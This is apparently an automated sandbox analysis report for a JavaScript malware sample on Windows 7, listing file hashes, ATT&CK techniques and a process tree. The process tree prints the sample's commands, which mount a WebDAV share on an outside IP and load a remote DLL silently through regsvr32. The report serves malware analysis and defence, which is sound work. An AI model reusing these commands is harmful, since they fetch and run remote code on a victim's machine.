dfae4611ece6f0976f3a721c1520c752df70edfee579a4e4a9eb06f452fcfd04

Analysis

max time kernel
119s
max time network
125s
platform
windows7_x64
resource
win7-20240705-en
resource tags

arch:x64arch:x86image:win7-20240705-enlocale:en-usos:windows7-x64system
submitted
10/07/2024, 02:24

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General

Target

14218250118102834.js
Size

5KB
MD5

f15abc366f7b2a826739396f5eb71acf
SHA1

147ac22108358cf5968d721005ad91d13541bfa5
SHA256

4975d0369588b75ef470d9c4872f8480e6ae38b522d1cebc3538219d86c7f727
SHA512

70a4d3ce703da9c175048434bdb75568f1ed4ef54398100e99979e210b1ae30a8e0a2d065d97093488ce887440b1f81846052169199a71f4cc0c607b1c3b2f73
SSDEEP

96:jC0cmmV7d0Wp27p7OdPm0yn3USIeqnFVZVk8:GFgFidPJynkSXqnFjVk8

Score

3^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Runs net.exe

Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs

pid	Process
2660	regsvr32.exe

Suspicious use of WriteProcessMemory 11 IoCs

description	pid	Process	procid_target
PID 2552 wrote to memory of 2348	2552	wscript.exe	31
PID 2552 wrote to memory of 2348	2552	wscript.exe	31
PID 2552 wrote to memory of 2348	2552	wscript.exe	31
PID 2348 wrote to memory of 2604	2348	cmd.exe	33
PID 2348 wrote to memory of 2604	2348	cmd.exe	33
PID 2348 wrote to memory of 2604	2348	cmd.exe	33
PID 2348 wrote to memory of 2660	2348	cmd.exe	34
PID 2348 wrote to memory of 2660	2348	cmd.exe	34
PID 2348 wrote to memory of 2660	2348	cmd.exe	34
PID 2348 wrote to memory of 2660	2348	cmd.exe	34
PID 2348 wrote to memory of 2660	2348	cmd.exe	34

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\14218250118102834.js
1⤵
- Suspicious use of WriteProcessMemory
PID:2552
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /k copy "C:\Users\Admin\AppData\Local\Temp\14218250118102834.js" "C:\Users\Admin\\cwtvod.bat" && "C:\Users\Admin\\cwtvod.bat"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2348
- - C:\Windows\system32\net.exe
    net use \\45.9.74.13@8888\DavWWWRoot\
    3⤵
    PID:2604
- - C:\Windows\system32\regsvr32.exe
    regsvr32 /s \\45.9.74.13@8888\DavWWWRoot\567.dll
    3⤵
    - Suspicious behavior: CmdExeWriteProcessMemorySpam
    PID:2660

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

JavaScript

T1059.007

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\cwtvod.bat

Filesize
5KB

MD5
f15abc366f7b2a826739396f5eb71acf

SHA1
147ac22108358cf5968d721005ad91d13541bfa5

SHA256
4975d0369588b75ef470d9c4872f8480e6ae38b522d1cebc3538219d86c7f727

SHA512
70a4d3ce703da9c175048434bdb75568f1ed4ef54398100e99979e210b1ae30a8e0a2d065d97093488ce887440b1f81846052169199a71f4cc0c607b1c3b2f73

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